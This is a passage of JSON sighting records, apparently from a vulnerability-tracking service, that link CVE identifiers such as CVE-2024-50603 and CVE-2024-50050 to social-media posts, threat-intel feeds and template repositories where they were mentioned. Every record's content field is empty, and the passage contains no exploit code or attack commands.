"2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50702", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113742407594496300", "content": "", "creation_timestamp": "2024-12-30T15:10:05.359938Z"}, {"uuid": "7974a3ad-701c-4ab3-b737-1b82130efd86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50703", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113742407611281544", "content": "", "creation_timestamp": "2024-12-30T15:10:05.532871Z"}, {"uuid": "f0372b8c-85b6-490c-af00-81edc8ad5af8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/bluecyber.bsky.social/post/3lfmu5b7zr22f", "content": "", "creation_timestamp": "2025-01-13T13:36:02.988891Z"}, {"uuid": "b1082699-7299-4248-9a66-0dc25f1da87c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113838676890913581", "content": "", "creation_timestamp": "2025-01-16T15:12:38.634677Z"}, {"uuid": "6e84361b-3740-4560-9314-f0b906be4876", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lfpkefmuiv2m", "content": "", "creation_timestamp": "2025-01-14T15:19:04.354785Z"}, {"uuid": "a8944455-f519-4b4a-9c7b-4151203f0992", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://threatintel.cc/2025/01/14/082506.html", "content": "", "creation_timestamp": "2025-01-14T12:25:06.000000Z"}, {"uuid": "eb53aec8-3174-4816-932b-4677368afb4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50051", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113809896551439352", "content": "", "creation_timestamp": "2025-01-11T13:13:25.228780Z"}, {"uuid": "1c69097d-bec0-40fa-96fb-4240399fc71f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lftlj3lc7s2n", "content": "", "creation_timestamp": "2025-01-16T05:50:13.242870Z"}, {"uuid": "d0c28408-5343-41e6-b70b-124aceb62ba0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50051", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfhs4dwe7p2a", "content": "", "creation_timestamp": "2025-01-11T13:16:24.755506Z"}, {"uuid": "f213792b-976c-4fe2-a77d-5444e2ae7698", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3lftneq42b72r", "content": "", "creation_timestamp": "2025-01-16T06:23:34.360984Z"}, {"uuid": "1dd6cb46-3932-4833-85f8-2521d82511a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-01-16T18:10:02.000000Z"}, {"uuid": "0bada9bd-df2f-4095-9571-b7d95b6d3c29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50633", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfuv6cfvxf2r", "content": "", "creation_timestamp": "2025-01-16T18:15:48.126021Z"}, {"uuid": "14cc34fb-13be-4b73-a05a-0fc455f0277f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50345", "type": "seen", "source": "https://bsky.app/profile/anodyne-productions.com/post/3lerdkcuev32u", "content": "", "creation_timestamp": "2025-01-02T14:57:13.402604Z"}, {"uuid": "04901d54-4921-45da-b343-7765ec7cb0ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://u1f383.github.io/linux/2025/01/03/cross-cache-attack-cheatsheet.html", "content": "", "creation_timestamp": "2025-01-02T23:00:00.000000Z"}, {"uuid": "42a43915-46c1-48f5-b65d-8e1b10373a3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/aakl.bsky.social/post/3lfv3uidjfk2m", "content": "", "creation_timestamp": "2025-01-16T20:15:35.514254Z"}, {"uuid": "86f3a27c-944a-4d8e-9fcc-3d80f7edbb9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50564", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfpgx5cs2b2r", "content": "", "creation_timestamp": "2025-01-14T14:17:57.361999Z"}, {"uuid": "235a0a2f-eb49-4a4b-97b1-4a3414b37cec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50563", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113837308485940128", "content": "", "creation_timestamp": "2025-01-16T09:24:38.136999Z"}, {"uuid": "59344396-51ce-4234-a82a-ae1a5e84dff1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/hackread.bsky.social/post/3lfrhkwu7gc2z", "content": "", "creation_timestamp": "2025-01-15T09:34:30.525277Z"}, {"uuid": "2b581057-2da9-4ebf-a6e4-656c29df5579", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lfvepvuudk2f", "content": "", "creation_timestamp": "2025-01-16T22:54:13.686766Z"}, {"uuid": "5a4ba44d-6f7d-4d49-b263-e77a9c9ba8b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lfvavuuins27", "content": "", "creation_timestamp": "2025-01-16T21:45:50.749504Z"}, {"uuid": "d97f854c-81c9-4a24-bbb6-8da6bc980630", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50349", "type": "seen", "source": "https://bsky.app/profile/veit-schiele.de/post/3lfsb2aivbk2c", "content": "", "creation_timestamp": "2025-01-15T17:10:21.339398Z"}, {"uuid": "46b4b4f0-3bfa-4e4a-8d99-b87503af1c5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50404", "type": "seen", "source": "https://bsky.app/profile/gothburz.bsky.social/post/3lfoiotknfz2e", "content": "", "creation_timestamp": "2025-01-14T05:16:26.265062Z"}, {"uuid": "81651d1f-b04b-4969-a9cc-bd0a00d72531", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50953", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfsbdvind72n", "content": "", "creation_timestamp": "2025-01-15T17:15:41.759388Z"}, {"uuid": "cf192e30-5b32-48a3-b4b2-5494eb91c66f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50563", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfu2ecpmxl2f", "content": "", "creation_timestamp": "2025-01-16T10:15:58.780244Z"}, {"uuid": "cebed90c-421b-491e-a7a5-439c63bc537b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lfuoujs5y62r", "content": "", "creation_timestamp": "2025-01-16T16:22:57.859039Z"}, {"uuid": "6cab49e5-903a-4d2c-a373-65bd6c526903", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50954", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfsbdxyurn2j", "content": "", "creation_timestamp": "2025-01-15T17:15:44.450377Z"}, {"uuid": "5f2fa461-d3e5-4fc6-9027-dbf08787ac83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/opsmatters.bsky.social/post/3lfvroct5bb2o", "content": "", "creation_timestamp": "2025-01-17T02:45:50.553245Z"}, {"uuid": "2f107fc4-fab8-45af-af45-9fd399bc1a14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50564", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113827650434596500", "content": "", "creation_timestamp": "2025-01-14T16:28:27.939998Z"}, {"uuid": "33419f19-8804-4b95-ba50-ecf72b7998c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-50603", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113790061901237352", "content": "", "creation_timestamp": "2025-01-08T01:09:12.452594Z"}, {"uuid": "4c61d272-c11b-4cb4-8a2c-23a3c509c765", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf6yghkmun2f", "content": "", "creation_timestamp": "2025-01-08T01:15:28.951875Z"}, {"uuid": "b34615db-79bb-40a1-a933-8afba30bc801", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf6zy2wvm32g", "content": "", "creation_timestamp": "2025-01-08T01:43:14.744199Z"}, {"uuid": "d65ff810-3f51-441e-9a59-57dae957475f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf6zy3262u2q", "content": "", "creation_timestamp": "2025-01-08T01:43:15.280907Z"}, {"uuid": "6d47d1e7-3991-4fc7-a850-956dda283c6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113790216625796166", "content": "", "creation_timestamp": "2025-01-08T01:48:33.776837Z"}, {"uuid": "6b7df7e4-a854-49cf-8e5f-6d3261bc02f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lf77wu32w22b", "content": "", "creation_timestamp": "2025-01-08T03:29:58.537462Z"}, {"uuid": "d5de8c87-9735-4529-b099-94dfa6e89a84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lf7epth6hw22", "content": "", "creation_timestamp": "2025-01-08T04:55:29.553321Z"}, {"uuid": "9ad6d8b2-c9dc-4989-b865-a1f5b71aadee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lf7tayg2ot2y", "content": "", "creation_timestamp": "2025-01-08T09:15:37.496015Z"}, {"uuid": "4bf1bc08-8bdb-45a6-aa76-f7dcada40710", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lfwajpeyis2k", "content": "", "creation_timestamp": "2025-01-17T07:11:50.567235Z"}, {"uuid": "cd06bc82-75fa-4b28-b1f9-8abfcec9d8eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50349", "type": "seen", "source": "https://bsky.app/profile/elhackernet.extwitter.link/post/3lfwlcbf5fs26", "content": "", "creation_timestamp": "2025-01-17T10:24:23.393920Z"}, {"uuid": "4e0d3a0d-6eda-4b6d-9723-b4f90fd47a80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50967", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113844279598243025", "content": "", "creation_timestamp": "2025-01-17T14:57:28.885385Z"}, {"uuid": "fac0e6a4-ad7b-41ea-9d36-c48fbd1a8fdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50967", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfx3lhrjqn2w", "content": "", "creation_timestamp": "2025-01-17T15:15:51.994965Z"}, {"uuid": "9223ad30-76b0-43e4-86e2-f2f5614a10b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50967", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfx4vgwrhz2i", "content": "", "creation_timestamp": "2025-01-17T15:39:20.972655Z"}, {"uuid": "926a1d11-ed78-41dc-bb19-0db71553b08d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-50603", "type": "seen", "source": "https://infosec.exchange/users/patrickcmiller/statuses/113846342187065316", "content": "", "creation_timestamp": "2025-01-17T23:42:02.019887Z"}, {"uuid": "fdee35bf-cac1-404f-bdbe-73e53c086159", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50550", "type": "seen", "source": "https://t.me/brutsecurity/1047", "content": "", "creation_timestamp": "2026-07-09T03:00:12.112991Z"}, {"uuid": "fffb7625-0a81-4ce8-beff-0f0318ee3473", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lfyuf3prwd25", "content": "", "creation_timestamp": "2025-01-18T08:12:22.684863Z"}, {"uuid": "0fba92b2-93e3-4490-b321-c3ed3b19ee74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://bsky.app/profile/decrypt.lol/post/3lg4euebvis2i", "content": "", "creation_timestamp": "2025-01-19T17:45:13.818500Z"}, {"uuid": "ef5fa4ad-2985-48f4-8287-0a92c56aaa67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/decrypt.lol/post/3lg6c7mm4rf23", "content": "", "creation_timestamp": "2025-01-20T12:03:09.427651Z"}, {"uuid": "603702d8-34f4-4122-9cbc-ab0016e26d1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50697", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113901810078905700", "content": "", "creation_timestamp": "2025-01-27T18:48:14.590534Z"}, {"uuid": "3151b52d-f899-454e-9327-0da3f6cc0a70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113867636525001029", "content": "", "creation_timestamp": "2025-01-21T17:57:27.641006Z"}, {"uuid": "99a707a4-3828-4d63-b2b4-298a547ea70d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5083", "type": "seen", "source": "https://github.blog/security/vulnerability-research/attacks-on-maven-proxy-repositories/", "content": "", "creation_timestamp": "2025-01-22T17:00:51.000000Z"}, {"uuid": "a0838469-918c-4c5d-ad47-9f719b9b6bfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-5082", "type": "seen", "source": "https://github.blog/security/vulnerability-research/attacks-on-maven-proxy-repositories/", "content": "", "creation_timestamp": "2025-01-22T17:00:51.000000Z"}, {"uuid": "09ffe02b-1f68-466b-9633-b2354ae0af2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://bsky.app/profile/patrickcmiller.bsky.social/post/3lgcwa6tlhp2e", "content": "", "creation_timestamp": "2025-01-22T08:12:02.709055Z"}, {"uuid": "93cd742c-67fb-417c-8d3a-36551d4a2fe7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50664", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgh3fzvzc32q", "content": "", "creation_timestamp": "2025-01-23T23:55:25.400322Z"}, {"uuid": "8a753d16-9d61-432e-b695-7a507f4c6e83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50665", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgh3g27j7v2i", "content": "", "creation_timestamp": "2025-01-23T23:55:26.031764Z"}, {"uuid": "6efdd42b-d6ee-476e-8427-c4297e118d2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5082", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lhhhs3cmnj2y", "content": "", "creation_timestamp": "2025-02-05T21:02:09.983036Z"}, {"uuid": "d1d2550b-a66e-4456-a24f-01b4892db0ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5082", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-5082.yaml", "content": "", "creation_timestamp": "2025-02-03T11:14:04.000000Z"}, {"uuid": "c7997f7c-b97b-4e4e-aa5b-56cee0442ec6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50656", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113941466417414394", "content": "", "creation_timestamp": "2025-02-03T18:53:22.063039Z"}, {"uuid": "1b9e5546-b971-43ac-add9-3ec22cf4e0ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50656", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhcawvvhaq2w", "content": "", "creation_timestamp": "2025-02-03T19:16:13.999187Z"}, {"uuid": "03ece495-4b4e-4f8c-a875-cd37e70bb601", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://bsky.app/profile/k265.bsky.social/post/3lgpjdxazvs24", "content": "", "creation_timestamp": "2025-01-27T08:26:07.681135Z"}, {"uuid": "205bff72-ed4d-450e-b816-3c5c42e6c262", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5084", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:46.000000Z"}, {"uuid": "cee9a9ab-2206-44ef-b97c-0013cde51183", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50967", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lhcgtwq4ly2o", "content": "", "creation_timestamp": "2025-02-03T21:01:57.087304Z"}, {"uuid": "8dda6411-4fe6-49ea-8f80-1cf05b494424", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3lgfztkse6w2c", "content": "", "creation_timestamp": "2025-01-23T13:54:32.000617Z"}, {"uuid": "6d818901-31b7-49a2-986d-2ba34d0c41a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://infosec.exchange/users/jbhall56/statuses/113900476046011139", "content": "", "creation_timestamp": "2025-01-27T13:08:58.550309Z"}, {"uuid": "5bc9278d-ca86-43cb-8aa9-a6d389910f28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3lgpz5yloks2r", "content": "", "creation_timestamp": "2025-01-27T13:09:06.963123Z"}, {"uuid": "49b762e4-c061-4d88-8d9a-c6d3768a9614", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://t.me/brutsecurity/1213", "content": "", "creation_timestamp": "2026-07-09T03:00:10.849140Z"}, {"uuid": "5950ccc9-e84d-49df-b035-886077c2358a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lgs55hnkxn2x", "content": "", "creation_timestamp": "2025-01-28T09:25:43.137404Z"}, {"uuid": "9e0128c9-f0a2-4701-9fbb-23b923bc6f56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50967", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-50967.yaml", "content": "", "creation_timestamp": "2025-02-01T00:28:08.000000Z"}, {"uuid": "cf51ca1e-badb-44a9-84b0-f235b4acc0a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50500", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113940413082372940", "content": "", "creation_timestamp": "2025-02-03T14:25:32.029292Z"}, {"uuid": "ec606593-386b-4869-a520-8ef7ea5db038", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://t.me/brutsecurity/1226", "content": "", "creation_timestamp": "2026-07-09T03:00:10.564588Z"}, {"uuid": "9dfa080b-41b3-4bc3-8ffd-293cbd6255f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://t.me/brutsecurity/1279", "content": "", "creation_timestamp": "2026-07-09T03:00:10.523328Z"}, {"uuid": "97d7af57-a4ee-4966-b3e0-10439c36d86b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50500", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhbtjqmab32c", "content": "", "creation_timestamp": "2025-02-03T15:16:12.975782Z"}, {"uuid": "031ec819-0ac5-4fcd-a742-9acad777f977", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://bsky.app/profile/arrobas.bsky.social/post/3lgoinb76um2q", "content": "", "creation_timestamp": "2025-01-26T22:40:47.561482Z"}, {"uuid": "bef95fd9-3998-4720-9527-60418f3d6c52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://threatintel.cc/2025/01/26/metas-llama-framework-flaw-exposes.html", "content": "", "creation_timestamp": "2025-01-26T18:05:03.000000Z"}, {"uuid": "4ecc60fd-d885-40d2-b23a-3450c3f05e40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lgmy6xxkjc2j", "content": "", "creation_timestamp": "2025-01-26T08:13:51.026816Z"}, {"uuid": "f7347491-81fd-4ea5-897e-291f961e9e2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-30)", "content": "", "creation_timestamp": "2025-03-30T00:00:00.000000Z"}, {"uuid": "27ff63b5-089e-4ca3-9c51-372f920734c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 